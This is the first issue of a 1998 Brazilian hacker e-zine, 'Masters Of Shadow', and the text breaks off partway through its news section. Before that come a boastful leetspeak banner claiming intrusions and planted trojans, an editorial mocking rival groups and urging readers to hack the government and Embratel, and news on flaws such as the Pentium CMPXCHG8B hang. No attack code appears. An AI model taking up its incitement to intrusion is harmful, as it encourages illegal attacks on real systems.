MOS, Boletim Tec. - Made in Brazil. Numero 1, Distribuido: Jan. 2, 1998 ßßß\ ßßß\ ßßßßßßßß\ ßßßßßßßß\ ßßßßßßßßßß\ ßßß\ ßßß\ ßßß\ ßßß ßß ßßß\ ßßß\ ßßß\ ßßßßßßßß\ ßßß\ ßßß\ ßßß\ ßßß\ ßßß\ ßßß\ ßßß\ ßßßßßßßß\ ßßßßßßßß\ ==[ Masters Of Shadow ]== presentz Boletim Tecnico numero 1! --=*=-- [ - Hacking - Security - Cyber-Anarchy - Cracking - Phreaking - ] [ - Virus - Telecomunication - ] ==TeLeCoMuNiCaTiOnS wIlL nEvEr Be ThE sAmE== "The only system which is truly secure is one which is switched off and unplugged, locked in a titanium lined safe, buried in a concrete bunker, and is surrounded by nerve gas and very highly paid armed guards. Even then I wouldn't stake my life on it." <---------//---------------------------------------------------------------> /root/MOS.motd NAO FOI A RWX, NAO FOI A AXUR05, MUITO MENOS O MITNICK... Voces foram visitados pela Masters Of Shadow! N0S s0mOs Do M.O.S., o m3|hOr gRup() underground d p4is. NoS asSum1m()s 1sS0 pUb|1c4mEnT3 pOrQ n()s s0mOs s1mPl3sMeNt3 oS m3|hOr3s. NoS s()mOs 3L3eT. oK, NoS s0mOs muIto + q iSsO, m4s a Un1c4 C0iSa q \/C r34|m3nTe pR3C1s4 sAb3r, e Q NoS s()mOs 3L3ET! VcZ n()s cH4maM De L4m3rZ, MaS p0R tRAs d1sSo, 3sCOnDe-SE O FaT0 d Q vC c qU3r c0nS3gUE 1m4gInaR OQ p0d3moS f4zEr c/ 4 TeCn()LoG1A, 3 CoM() o f4zE- mos. eSc()nD3-Se 4 sUa 1nFeRI()RiD4dE, 3 a m3d1OcRiDAdE d4 sUa f4|tA dE cOnHh3cIMenTo. N()s s()mOs t40 bOnS q n3m c \/C c0ns3gU1sE uS4r o m4x1m() d4 m3rDa d() sEu c3r3bR0, pOd3r14 c0nT4R qUaNtOs h0sTs nOs j4 hAcK3aMos. c Vc 4o m3nOs Tent4sSe d3sCobRir oS tRoj4nS q jA cRi4mOs e 1mP|4nTAmOs eMd c4dA sErV1- d()r, \/C c/ c3rTeZ4 m1jArIa 3m sU4s cAlCas. NoS n4o t3M()s pR0b|3mAs D c3Lu|Ar, pO1s hOrIEnT4m0s a R()tA D nOsS4s L1- Gac0Es. N()s p0d3mOs D3sL1GaR s3U tE|eF()n3 nUm p1sC4r D oLh()s C aSs1m Nos 1nTeREss4R. p0d3mOs tE AcH4r n() f1m Do MunDo C pR3cIs0 fOr. p0d3mOs ProPaGAr 0 C40S, e 1mp()r O m3dO n() M4iS InCrEdULo d()s CoR4c03s. NoS HaCk34m0s o EsT4Do, o GoVeRnO, 3 a PoRr4 d()s m1LitAres, n()s f1z3mOs 0 pRiME1Ro vIrUz De m4cR0 dO PaIs! NoS j4 1nF3cTaM0s 3 roOtAmOS m41s s1S- tEmAs Do qE v0Cê s3QuEr c()nSeGu3 1mAgIn4r! NoS s()moS d4 MoS, 3 PoDeM()s f4zEr o Q qu1s3rMoS. v4m()s EnCar4r oS f4t()s, v1v3mOs 3m Um mUnD() d z3R0s e uMs, eM q QuEm cOm4nDa sUa m1sEr4 v1dA sAo Az m4k1nAs, 4s qUa1s Vc t3mE, p01s n4o cOnSe- gUe CoMprEnDer. Vc 3 t4o BuRr() q TeM aT3 d1FiCu|D4dE eM LeR eSs3 tExT()! \/c n4o pOd3 nOs p4rAr. N0s, N()s 3sCoNdEmOs n4 S0mBrA dO m31o-DiA, v1vE- m()s 3m OutrA r3A|idAdE, a QuAL vC t4mBeM n40 p()dE cOmPr3eNdEr... NoS, s()mOs O in1cIo Do cYb3r-C40s, 4 rEeNcArN4cA() dO mA|. NoSs() pR4- z3r E lHe f4ZeR D bUrR(), t1r4R s3u S()n0, t1r4R sUa c4|Ma. NoSs() pR4z3r e CoNs3Gu1r 4|G0 pUbLiCo, q vC dEspR3zA: o *CoNhEcImEnTo*. NoS, s0mOs 4qUeLes q F4rAo Vc p3ns4r 2x 4nTes D l1GAr o c0mPuT4Dor, Ou uS4r () t3|eFoNE. e TuDo o Q vCs Lam3Rz p()d3m TeNtar f4zEr p/ 3sC4pAr a nOsS4 fUr1a, e DesLiGar-S3 d4 t()m4Da.... n4o t3nTe c r3bEl4r, dO cOntR4r1o, n()s acH4r3m0s SeU s1sT3mA, sEu t3|e- F0N3, e Vc 1rA p3rCeBEr Q eX1sT3m c0iSaS p1oREs qUe 4 M()rTe... [Membros da MOS] -EOF <------------------------------------------------------------\\------------> Mail: mos@thepentagon.com. Site provisorio: http://www.members.xoom.com/moszine. Redirecionador: http://www.thepentagon.com/mos. Membros atuais: Wiz4rd, Kosmos, H3rtcqr. ---------- - Index' - ---------- Introducao ........................................... 01- Editorial ............................................ 02- Como contactar o MOS ................................. 03- Noticias ............................................. 04- Warez d00z ........................................... 05- KmsList (Kosmos WordList) ............................ 06- Gerenciamento de sistemas ............................ 07- Transformacao de Endereco ............................ 08- Tabela de Alocacao ................................... 09- DMA .................................................. 10- Unix Basic's ......................................... 11- PHF Laming Desmistificado ............................ 12- Introducao ao DoS .................................... 13- Lame Floods .......................................... 14- Internet Outdials .................................... 15- Seguranca Fisica Basica .............................. 16- Tomo I: "Mandic e o queijo suico" entre outros ....... 17- Algumas notas aos Admins porcos ...................... 18- Phreak Basic's ....................................... 19- Dissecacao Telefonica ................................ 20- Virus Tutorial Parte I ............................... 21- Anarchy/Humor ........................................ 22- Conselhos ............................................ 23- Nota final do Editor ................................. 24- Disclaimer ........................................... 25- <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 01 - -------------- - Introducao - -------------- Soltem os rojoes! Acordem a policia! Nosso boletim foi lancado, o maior do pais! O melhor do pais! 100% de pura informacao! No FuCking LaMmInG; no PhUckIng Warez; PURE H/P/V/C! Bem vindo ao primeiro numero do Boletim Tecnico do MOS! As seguintes pessoas estiveram envolvidas na edicao/elaboracao desse primeiro boletim, e p/ elas eu quero agradecer pelo bom trabalho. Kosmos - MOS HertCQR - MOS Wizard - MOS/Editor Tb quero agradecer aos colaboradores e a pessoas q direta ou indiretamente contribuiram p/ o zine. Nessa edicao houve um grande esforco p/ lhe trazer o q ha d melhor e mais original em materia d underground nacional. Nada d copias de outros textos, ou traducoes ridiculas. E claro qe algumas vezes tira-se ideias de outros lugares, mas apenas ideias, e nao documentos completos como fazem alguns espertinhos... Por incrivel que pareca, existe um ezine chamado RWY (tomei a liberdade de alterar o nome do zine pra preservar a identidade de seus respectivos lamers/autores), onde os caras nem se dao ao trabalho de alterar o texto! Traduzem direto e depois poe seus lindos nominhos no tra- balho dos outros.. Depois temos a AXUR05, AciDmuDo e sua turma... "Para salvar a honra dos brasileiros." Bah! Vendo a coisa da maneira deles, e como se nos, os burrinhos (Mederval e seu Besouro Eletronico) estivessemos na merda e eles fossem a salvacao... parece uma adaptacao do "Jeronimo". Ah! Tem o VooDuu, putz.. cara mau.. hehe.. o AciDmuDo carrega ele pra tudo q e canto.. pare- ce o Faustao com o Tiririca.. so faz cagada, mas ta sempre la.. Coisas assim e que fazem os imbecis do Brasil nao progredirem.. ao inves d pensar, eles simplesmente pagam pau pros outros... "Ah! Os hackers ame- ricanos.." Okz.. sejamos humildes e adimitamos, os zines brasileiros ate q estao evoluindo, o zine atual ate da pra ler inteiro sem enjoar. Ha Ha Ha. Putz.. agora.. ta virando moda "ser hacker", daki a pouco a crian- cada vai ir nas festas, e ao inves de ficar bebado, vai dizer qe e hacker, sacar um notebook (que ele ganhou do papai noel), e entrar na Internet de graca, usando uma senha roubada do "sofisticado" sistema SBT On-line, ou da Mandic, so pra impressionar as gatinhas.. RWX, Necroterium, BHC, BUS, AXUR05, X-Hackers, Nearz, NetHack, PIX, (...) Comece a contar o numero de zines e grupos que aparecem diariamente.. tudo bosta... Agora.. comece a contar, o numero de palhacos que saem por ai di- zendo "- Eu sou um hacker"... hahaha.. meu deus... putz. A tempos estavamos pensando em escrever um zine, mas tivemos varios problemas de percurso. Primeiro tivemos medo porq muitos lamer putos irao ler essas bostas e sair fazendo cagada e ferrando com tudo. Depois, falta- va arrumar tempo e paciencia pois discutir pesados assuntos tecnicos e al- go demorado, e escrever esse zine consume um tempo relativamente precioso, afinal, esse e o maior zine do Brasil! Mas, chegamos a conclusao de qe ate hoje nao existe um zine q preste nesse pais, temos pessoas q sabem bastante, mas nao existe um grupo que preste.. por isso resolvemos dar um help para akeles q querem aprender e ja se can- sarao das dicas pra jogar fliperama de graca e das frazes do tipo "Se voce nao sabe isso, formate seu HD.". Uma coisa tb deve ser levada em consideracao, por escrevermos o zine e por termos uma ma reputacao, principalmente entre os admins que tiveram seus sistemas invadidos, logo irao comecar a nos testar, d forma a mostra- rem a todos q o "MOS e um grupo d criancas lamers.." bah! Nos estamos ca- gando e andando pra nossa reputacao. Nos nao temos q provar nada.. leia o nosso zine e tire suas conclusoes. Veja nossos feitos e tire suas conclu- soes, considere qualquer favor q fizermos a vc, como pura sorte, pois nos nao somos obrigados a aguentar vc, nem ninguem :P Como essa e' a versao publica de nosso boletim, nao iremos relatar numeros ou mails pessoais de membros ou pessoas relacionadas ao grupo, por motivos d seguranca. P/ os que se consideram realmente hackers, nos deixamos um mail pelo qual vcs podem nos contactar. Hmmm... nao tentem rastrear ok? Vcs iam perder um tempo danado... :P O MOS iniciou-se mais ou menos em outubro de 97, mas decidimos qe a data oficial do lancamento do grupo seria 12/1/97, entre out e dez, esti- vemos nos organizando, algumas invasoes, arrumando uma site que prestasse, coisas assim fizeram com q o zine atrasasse muito mesmo! Um dos problemas encontrados foi qe um dos projetos q eu estava envolvido, estava demorando muito pra ser concluido, e resolvemos esperar de forma a a publica-lo ainda nessa edicao...infelizmente nao deu tempo.. fica pra proxima.. Algumas noticias que estaremos mostrando na nossa seccao de "News", podem nao mais estar recentes.. mas como eu ja disse, o zine atrasou.. desculpe. Na prox. serei mais pontual. O zine veio como forma d divulgar um pouco mais as acoes do grupo, e de divulgar conhecimentos e tecnicas novas, relacionadas a tecnologia em geral. Tambem pretendemos relatar novidades envolvendo o underground naci- onal e internacional, enfim, bolar um ponto de referencia a todos os que quiserem saber mais sobre tecnologia e underground. Se vc quiser contribuir c/ criticas, materias e sugestoes, ficaremos felizes, afinal, quanto mais gente colaborando, melhor o zine fica. Se voce se interessar em participar dos projetos, escrever um texto, ou algo assim, mande um reply.. nao e preciso se r membro do grupo... se bor bom a sua materia nos a publicaremos. Isso ira aumentar o numero d artigos e ate mesmo o nivel tecnico do zine. Devido ao fato de termos varias outras atividades e nao podermos dar total atencao, a revista nao tem data pra sair, vem conforme tivermos assuntos interessantes, e se agradar ao pessoal... Nos queremos algo diferente, se ninguem se interessar em ler essa merda, nosso zine sera como as outras merdinhas que existem por ai. Entao, sim- plesmente pararemos de publica-lo... Okz.. vamos nos esforcar ao maximo p/ q ela esteja pronta d 3, no max. 4 em 4 meses... Divirtam-se... Com vcs... nosso Boletim Tecnico! [membros do MOS] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 02 - ------------- - Editorial - ------------- De um ponto d vista "hacker", os ultimos tempos, apos a criacao do MOS, tem sido realmente muito bom... Varios hosts invadidos com sucesso, longas noites e novos conhecimentos. Antes de comecarmos a vomitar informacoes, historias e outras coisas mais, vamos aproveitar a falta de tempo e mergulhar na comica mediocrida- de do underground nacional... o Virus Makers - A maioria dos idiotas ainda nao aprendeu assembly, entao eles preferem usar os "maravilhosos" geradores da Nuke... o Phreakers - Os phreakers..... bom, nunca vi um phreaker na vida, ate' as operadoras da Telesp sabem mais q eles. o Hackers - Aki a coisa preocupa.. vamos pular essa parte. o IRC - #hackers, onde a ignorancia e mostrada e o conhecimento esquecido.. - #hacker, (s/ comentarios). o Grupo - Os grupos "hackers" do Brasil, formam uma verdadeira sopa d letrinhas. Deixaria o alfabeto do Caldo Maggi d 4! Hmmm... IHS, BHS, BUS, WOH, RWX, X-WORLD, BHJ, ... depois tem os mais originais: Necroterium, NetHack, AXUR05, por ai vai.. Logico, e tudo hacker... os caras sao realmente bons. =) o Zines - Barata Eletrica: Mederval e sua turma... bah! O Mede ate' q saca, mas o zine particularmente.. e um lixo. - NetHack: Ate q era legalzinho... mas achamos qe alguem qe procura por informacoes nao gosta de saber como e a mente d um hacker ou de aprender a instalar o linux. - RWX: ate que e legal... pena q eles apenas copiam info de outros zines e falam das coisas muitas vezes sem entende- las... bah! legal o KcT, e uma bosta d zine. Vez ou outra aparece algo original... hmmm... putz.. - AXUR: putz.... o csh ate que entende da coisa, o lamer do VooDoo e a merda do AciDmuD ficam so fazendo fama em cima do palhaco. - POLICY: o unico zine brasileiro decente q vi na minha vi- da. E meio copiado mas tinha um nivel tecnico legal. ... o resto nao vale nem a pena citar. Putz... bom.. para tentar mostrar que existe vida inteligente nessa porra d Brasil, e q alem d bundoes no IRC, e d 'grupos hackers' com lindas home-pages; existem pessoas realmente interessadas em aprender e expandir informacoes, nos criamos mais uma nova sopa de letras o M.O.S, "Masters Of Shadow". Nos nao somos hackers, nao somos phreakers, nem crackers, nem merda nenhu- ma! Apenas gostamos de explorar as maravilhas que as telecomunicacoes tem a nos oferecer. Portanto, se vce quer "ser um hacker".. va em outro lugar, porq as pessoas fuderam tanto com o termo "hacker" que nem eu sei mais o qe ele quer dizer e realmente to sem tempo p/ inventar uma auto-definicao. O zine tem o proposito basico de aumentar seu conhecimento, e acabar c/ akeles lamers que aprendem a merda do bug do PHF(se e q aquilo pode ser chamada de bug), e depois saem por ai.... ficam semanas procurando lugares c/ a falha... ate cansarem. Depois, aprendem outra tecnica e comecam tudo de novo... Ou os palhacos qe vao no #hackers(putz..) e ficam quietos.. afinal, ate um imbecil c passa por inteligente c ficar calado.. dai faz uma pergunta cre- tina do tipo... "- Como consertar o fluxo hexagonal do meu HD?". Como nin- guem entende a porra da pergunta, o imbecil chama todo mundo de lamer e se passa por genio! HAHAHAHHAA... tadinhos... Nos queremos compartilhar e adquirir novos conhecimentos... Nao achamos qe a informacao dev ser livre, afinal, se eu fizer um puta programa, com cer- teza vou querer receber algo por ele. No entanto, se o cara que possui a informacao nao tem capacidade p/ controla-la ou protege-la, isso ja nao e problema nosso. Queremos mostrar que um zine pode ser mais do qe simplesmente um texto com informacoes, e' algo que te faz pensar e mecher a bunda... Lamers! Parem de tentar enviar 2600Hz no 103 da Telesp, parem de hackear a AT&T! Descubram a Telesp e tenham diversao pro resto d suas miseras vidas! Hackeiem o governo, a Embratel, ... parem de pagar pau pros outros! Olhem para seus proprios rabos e comecem a meche-los! O zine e feito de forma a atingir todos os que c interessem por H/P/V/C, e nao os idiotas que usam Linux por puro modismo ou para impressionar os vi- zinhos... Aki voce nao vai achar dicas pra jogar d graca em fliperamas, ou su- portes a lamers, nem vai ver comentarios do tipo "Se voce nao entendeu es- se texto, apague seu winchester!". Esse tipo de coisa e perda de tempo, e temos *certeza* de que se alguem procura por informacoes boas, e tecnicas novas, nao gosta nem um pouco d ter d ler essa merda toda. O zine trata d: [ - Hacking - Security - Cyber-Anarchy - Cracking - Phreaking - ] [ - Virus - Telecomunication - ] Todos os artigos que apresentarmos, serao, na medida do possivel, testados. Falhas podem ocorrer, caso voce encontre alguma, avise-nos que a corrigiremos o + rapido possivel. Nossas materias serao originais, e claro qe as vezes se usa um ou outro texto como referencia, mas nao iremos fazer plagios idiotas. NOTA: NAO QUEREMOS NOVOS MEMBROS. Se voce for bom, nos t encontraremos. Ja tentamos isso e as unicas pessoas que entraram em contato com a gente, fo- ram lamers(com 'L' maiusculo). Se as pessoas que realmente sacam da coisa nao trocarem informacoes, chegara um tempo qe em os sistemas estarao super seguros, e os egoistas se fuderao. E algo realmente complexo achar pessoas realmente interessadas em se tornar membro de um grupo serio, e participar ativamente... ou achar gente que esteja disposta a escrever regularmente para algum zine. Pessoas dedicadas faciliam a coleta de informacoes pois atualmente as coi- sas sao muito rapidas, os bugs vao e vem rapido d+... e quanto mais gente boa estiver envolvida, melhor... Estamos abertos a todo tipo d duvida(inteligente), noticias, dicas, criti- cas e comentarios. Todos os mails serao respondidos no zine. Os artigos enviados serao revisados e publicados nas proxs. edicoes. Se voce se interessar em roubar os textos e programas daqui, e sair por ai dizendo que foi vc que fez, foda-se... nao estamos atras de fama ou reco- nhecimento.... se voce quiser nos chamar de lamers, tambem nao estamos nem ai.. foda-se. O MOS nao e responsavel pela atitude isolada de seus membros, e seus membros tambem nao sao responsaveis pelas acoes de seu grupo, por isso... se cuidem =) So mais uma coisa... nos nao respeitamos algum puto q se diz hacker ou que entre em sistemas e os destrua. Nao respeitamos jornais e jornalistas que fazem questao de incluir a palavra 'hacker' em cada manchete relacionada a algum crime d informatica apenas para vender mais. Eles nunca sabem exata- mente sobre oq estao falando... nao sabem oq e um computador, apenas usam a porra do editor d textos, e nao podem realmente conceber a beleza e tec- nica q esta envolvidas em um "simples" ataque a algum computador. Wiz4rd <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 03 - ------------------------ - Como contactar o MOS - ------------------------ 'http://www.thepentagon.com/mos'. Se vc quiser contribuir conosco de um jeito ou de outro, com criticas, su- gestoes, ou mesmo textos e novidades, vc pode nos achar em 'mos@thepentagon.com' Se algum admin, mesmo os que tiveram seus sites invadidos, quiserem falar, sintam-se a vontade... teremos prazer em ajudar em uma configuracao mais segura para seus sites. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 04 - ------------ - Noticias - ------------ (1). MAIS UMA CAGADA DA INTEL ******************************************** Folha de SP - 19 nov/97 A Intel, lider mundial na producao de chips para computadores, anun- ciou que seus processadores Pentium simples e MMX, tem uma falha. Certas instrucoes, enviadas intencionalmente aos chips, paralisam o micro. A solucao e desligar e ligar a maquina. A Intel ja teve uma serie de problemas com seus processadores. Em maio deste ano, foi a vez do Pentium Pro e do Pentium II. Em 1994, um falha se- melhantes custou a Intel U$ 475 milhoes. Detalhes tecnicos: ~~~~~~~~ ~~~~~~~~ Basicamente o q ocorre, e um problema na instrucao CMPXCHG8B, a qual compara 8 bytes em EDX e EAX com um valor de 8 bytes na memoria (q no caso e o operando de destino). Os unicos operandos d destino validos nessa ins- trucao, sao operandos de memoria. Logo, se o operando d destino for um re- gistrador, o processador ira gerar uma execucao invalida de codigo, a execucao do CMPXCHG8B sera interrompida, e o processador ira executar o handler da funcao invalida. Isso ocorre, quando o prefixo LOCK e usado na instrucao CMPXCHG8B com um operando destinatario invalido. Nesse caso, o processador nao ira executar esse handler invalido porque o bus esta tra- vado... assim, o sistema pendura. As implicacoes dessa "pendura"" do sistema, refletem basicamente corrupcao d dados na memoria. D forma a voltar ao funcionamento normal, e necessario q a makina seja resetada. Uma coisa q deve ser levada em consideracao(principalemente no caso dos paranoicos), e que essa passagem d valores invalidos a CMPXCHG8B nao e algo normal, ou seja, nao e gerado por nenhum tipo d programa avaliado co- mercialmente. Esse falha atinge processadores Pentium, Pentium MMX&trade, Pentium Overdrive, e Pentium Overdrive MMX. Pentium Pro, II, e processadores i486 &trade nao sao afetados. [Ed. note: Um exploit desse bug ja encontra-se disponivel na rootshell.] (2). NOVA VERSAO DO KERBEROS CORRIGE BUG DE SEGURANCA ******************** O MIT lancou o novo patch para o Kerberos, a ultima distribuicao v5, e agora v1.0 patchlevel 2, qe esta disponivel apenas p/ o pessoal dos EUA, atraves da web. Em: 'http://web.mit.edu/network/kerberos-form.htm' [Ed. note: Nada q um spoof nao resolva =) .] Esse lancamento, apresenta a correcao para o bug de seguranca do daemon de telnet, o Kerberized, q esta incluido na distribuicao. A chamada tgetent() usada por ele, e em alguns sistema, vulneravel a buffer overrun, atraves d variaveis de ambiente. Pessoas podem obter ascesso remoto usando-se desse bug. O Solaris 2.x nao parece ser vulneravel a isso, devido ao fato do do sistema ignorara informacao d ambiente. (3). VULNERABILIDADE DE AUTENTIFICACAO DO CHAP/CISCO (10/1/97) *********** Uma grave vulnerabilidade foi descoberta na autentificacao PPP CHAP, tal bug encontra-se presente em todos as versoes dos sistemas "classicos" do Cisco. A falha permite que certo usuario circunde a autentificacao, e ganha ascesso ao sistema. As novas verosoes ja estao protegidas contra es- sa falha. Para uma listagem completa das plataformas e softwares afetados, consulte o boletim do CIAC em 'http://ciac.llnl.gov/ciac/bulletins/i-002a.shtml' (4). MICROSOFT CONSERTA FALHAS DE SEGURANCA DO EXPLORER 4.0 ************** A Microsoft disponibilizou a versao 4.01 do Internet Explorer, ajus- tando diversos problemas de seguranca e adicionando novas caracteristicas. Um dos recursos desenvolvidos, conhecido pelo nome de buffer overrun, im- pede qe hackers causem quebra no servidor ao enviar enderecos de sites que excedam a capacidade do browser. Por este patch tambem sao reajustadas falhas que possibilitam aos usuarios mal intencionados obter o conteudo d certos arquivos alocados no disco ri- gido de outro usuario. [Nota do editor: Nem parece verdade...] (5). MICROSOFT ABRE DIALOGO COM HACKERS DO WINDOWS NT ******************* A Microsoft enviou recentemente representantes para uma conferencia tecnica hacker realizada em Las Vegas, chamada Black Hat Briefings, para abrir dialogo com a comunidade hacker, sobre os riscos e falhas do Windows NT. Varios programas estao surgindo, explorando as deficiencias na segu- ranca do NT, o que fez a Microsoft se mexer, de forma a assegurar a confi- abilidade e seguranca do seu sistema de rede. O grupo de hackers LOpht, de Boston, deu uma apresentacao na conferencia descrevendo a ultima revisao de seu programa "quebrador" de senhas NT. Ele permite a qualquer um se logar de uma maquina local, sem ser o administra- dor, e o hack faz seu trabalho mais rapido que na versao anterior. Mudge, o representante do grupo na conferencia, disse que testou o tempo do LOphtcrack 1.5 e verificou que um ataque forte, feito de uma maquina UNIX ou Pentium Pro 200 em uma corporacao de 40.000 usuarios que controla todos os nomes e senhas NT, por um unico controlador primario d dominio, levaria apenas 40 horas p/ descrever todas as 40.000 senhas e fornece-las em forma de texto. Estes programas exploram um problema fundamental que a Microsoft enfrenta: a necessidade de manter a compatibilidade retrograda d legalidade dos sis- temas NT. Isso significa qe a Microsoft deve manter a estrutura d senha do protocolo Lanman, qe quebra a senha escolhida em duas partes d sete carac- teres. Dominique Brezinski, consultor de seguranca do NT em Washington e programador formal da Microsoft, chamou atencao para o programa hacker GetAdmin na Black Hat Briefing em "Auditoria e Analise d Riscos do Windows NT". O programa, q afeta o NT Server 4.0, permit ao hacker adicionar usua- rios nao autorizados ao grupo de administradores. A comunidade hacker acredita estar prestando um servico, segundo eles seu trabalho e apontar os mais serios problemas de um sistema operacional que esta em uso no mundo todo, e estao fazendo isso os apontando e simplesmen- te dizendo "conserte isso". O Windows NT nao foi o primeiro e nao sera o ultimo sistema a sofrer tais ataques, sistemas como Unix e Linux sofreram varios ataques, mas o relacionamento entre os desenvolvedores (em sua maioria hackers) e a pro- pria comunidade hacker sempre foi de parceria, resultando em sistemas mais seguros e confiaveis, e otimo saber que a Microsoft esta se dispondo a ou- vir os hackers, e trabalhar junto a eles na busca de solucoes, ao inves de tratar a comunidade como um inimigo, e somente tentar remendar o mais rap- ido possivel as deficiencias do Windows NT. (6). PRODUTORA DO EUDORA ACUSADA DE ESPIONAGEM *************************** Engenheiro da Qualcomm, poderosa companhia de comunicacao via sate- lite e produtora do software Eudora, eh acusado de espionagem pela Russia. Os EUA afirmam que o fato nao esta ligado a espionagem e muito menos ao governo americano, alegando que o engenheiro estava apenas instalando uma rede de comunicacao via satelite na regiao de Roslov. A Qualcomm fornece informacoes p/ o mundo inteiro, portanto, o engenheiro estava cumprindo seu dever. (7). GOVERNOS DEBATEM EXPORTACAO DE CRIPTOGRAFIA ************************* Representantes das maiores economias do mundo se reuniram em Paris na semana passada a fim de debater como a criptografia poderia proteger o comercio eletronico de fraudes, ao mesmo tempo em que defende o publico de outros crimes. A OECD, The Organization for Economic Cooperation, convidou partici- pantes dos 29 paises alem d representantes do Brasil, China, India, Israel e Russia para montar leis qe envolvam a exportacao de criptografia. Mas as ideias sobre os tipos de controle de criptografia diferem entre os paises da OECD. Franca e EUA acreditam que deve haver severo controle na exporta- cao de criptografia, pois esta tecnologia eh muito utilizada por terroris- tas como o Iraque, acrescentando ainda que o governo deve ter acesso as mensagens encriptadas. O governo americano sempre garantiu que so ira ser mais flexivel na exportacao de criptografia quando for criada uma tecnolo- gia que possibilite o acesso do governo aos dados criptogrados. Outros paises como Japao e Escandinavia tem uma postura mais liberal. Nao veem como sendo importantes o controle de criptografia e o acesso livre ao governo, acrescentando ainda que a tecnologia nao eh muito utilizada por criminosos. O controle de criptografia impede ampliacao do comercio eletronico, pois tecnicas de anti-fraude e tecnologias d seguranca se baseiam em dados criptografados. [Nota do editor: Big Brother.. pua! ] (8). HACKERS ALEMAES QUEBRAM CARTOES ATM ********************************* O grupo alemao Chaos Computer Club demonstrou a possibilidade d que- bra dos cartoes ATM. Os hackers demonstraram a imprensa alema que o roubo das informacoes dos cartoes pode ser feito a partir de um simples leitor d cartoes magneticos. Bancos alemaes afirmam que problemas d fraudes com cartoes ATM sao respon- sabilidade do usuario. Este, segundo os bancos, esta sempre a par das re- tiradas feitas em sua conta bancaria, e portanto, fraudes so surgem por descuido do proprio. [Nota do editor: Nada contra, mas por acaso foi novidade pra alguem q isso era possivel? Perda d tempo...] (9). HACKER AUSTRALIANO QUEBRA O SERVIDOR DO DESAFIO "CRACK A MAC" ******* Um hacker da Australia conseguiu invadir o Mac utilizado como Web Server do concurso "Crack a Mac" na ultima semana. O desafio que estava no endereco http://hacke.infinit.se, foi desenvolvido para provar que o servidor Mac-OS e um servidor seguro. Esta e a segunda vez que o evento ocorre, sendo que ninguem conseguiu ven- cer o primeiro desafio. As regras do jogo nao permitem qe os participantes ataquem fisicamente o servidor, e alem disto, os hackers nao pdem utilizar como alvo outros servidores que estejam no mesmo dominio do servidor em questao. O servidor, um Apple Workgroup Server 9650/233, foi invadido atraves de uma falha d seguranca no utilitario de 'database' chamado Lasso. A Blue World ja colocou em seu site 'http://www.blueworld.com/lasso/security_update.html' um 'free-patch' com um novo recurso de seguranca para o Lasso, e recomenda que todos os seus usuarios apliquem o patch, afim de corrigir o bug. (10). HACKER BLOQUEIA A INTERNET NO URUGUAI POR 48 HORAS ***************** Em MontevidEu, um hacker nao identificado impediu o acesso do pais a Internet durante o fim de semana, informou o presidente da companhia tele- fonica uruguaia, Ricardo Lombardo. A acao foi verificada por especialistas, que ainda nao conseguiram identi- ficar o autor do ataque. A principio, autoridades relacionaram a queda da rede a trabalhos tecnicos realizados pela companhia. O Uruguai tem cerca de 50 mil a 70 mil usuarios da Internet, um dos numeros mais altos na America Latina. (11). SITE DA COCA-COLA HACKEADO ***************************************** O site da Coca-Cola foi recentemente atacado e pixado por hackers. Como consequencia o Web Site foi fechado durante dois dias. Os invasores alteraram as paginas da Coca-Cola, escrevendo a mensagem "vo- ces vao comecar a olhar para o que bebem, olhar para os seus Big Macs, e compreenderao que sao ovelhas...". A Coca-Cola confessou que foi a primeira vez que o seu web site foi alvo dos hackers. Os responsaveis pelo ato ainda nao foram identificados, mas o caso esta sendo investigado. [Nota: Primera vez?!? HAHAHAHAHAH.. com certeza q sim... ] (12). YAHOO HACKED ******************************************************* O Yahoo, o catalogo de paginas Web mais visitado do ciberespaco, so- freu um ataque de hackers na ultima semana. Os invasores "derrubaram" o site na segunda-feira, durante 15 minutos, e ameacaram lancar um arrasador virus de computador. O ataque teve como objetivo forcar a liberacao do ha- cker Kevin Mitnick, considerado o "pirata" mais perigoso do ciberespaco. O grupo cyber, que se autodenomina alianca PANTS/HAGIS, ao atacar o site colocou uma mensagem: "Durante todo o mes passado, todos que visitaram o Yahoo tem uma bomba implantada nos seus computadores. No dia d Natal, esta bomba se ativara". A mensagem prosseguia informando que havia um codigo qe funcionaria como antidoto e que o governo americano teria acesso a este codigo, caso libertasse o hacker preso. A porta voz do Yahoo tranquilizou os internautas que visitam o site, ga- rantindo que nenhum computador d visitantes seria atingido. Afirmou ainda, que nenhum virus foi detectado. O ataque so afetou o servidor especifico p/ browsers Lynx, por isso apenas os usuarios que utilizam este navegador viram a mensagem, represen- tando menos de 1% dos 26 milhoes de pessoas que acessaram o site no ultimo mes. (13). PENTAGONO TEVE INVASAO DE 250 SISTEMAS DE COMPUTADOR *************** Mais de 250 sistemas de computadores do Departamento de Defesa dos EUA foram invadidos ano passado e o numero de tentativas de invasaes deve dobrar no proximo ano, afirmou Kenneth Minihan, diretor da Agencia de Se- guranca Nacional. Segundo ele, ha provas de que a rede de computadores do Pentagono esta vulneravel a ataques vindos de qualquer parte do mundo. Mi- nihan nao revelou que tipo de informacao pode ter sido roubada. [Nota: Nossa.. agora q o panaca foi descobrir isso? Me admira q um povo desse possa se auto-institular primeiro mundo... ] (14). A REGULAMENTACAO DO CIBERESPACO BRASILEIRO ************************* Encontra-se estacionado na Comissao de Ciencia e Tecnologia, Comuni- cacao e Informatica da Camara dos Deputados, um substituto do projeto de lei do deputado Cassio Cunha Lima que dispoe sobre o controle de acesso as redes de computadores e o uso de informacoes disponiveis no ciberespaco. Tal substitutivo, de autoria do deputado Luiz Piahylino ultrapassa alguns limites, e atribui aos provedores de acesso a "responsabilidade solidaria" por atentados "a seguranca, integridade e sigilo das informacoes armazena- das em bases d dados ou disponiveis a consulta ou manuseio por usuarios da rede". [Nota do editor: HAHAHAHA... como uns imbecis qe mal sabem usar o Word po- dem bolar leis relacionadas a crimes d informatica?!? putz. ] (15). BRASIL FAZ A PRIMEIRA PRISAO POR CRIME DE E-MAIL ******************* Pela primeira 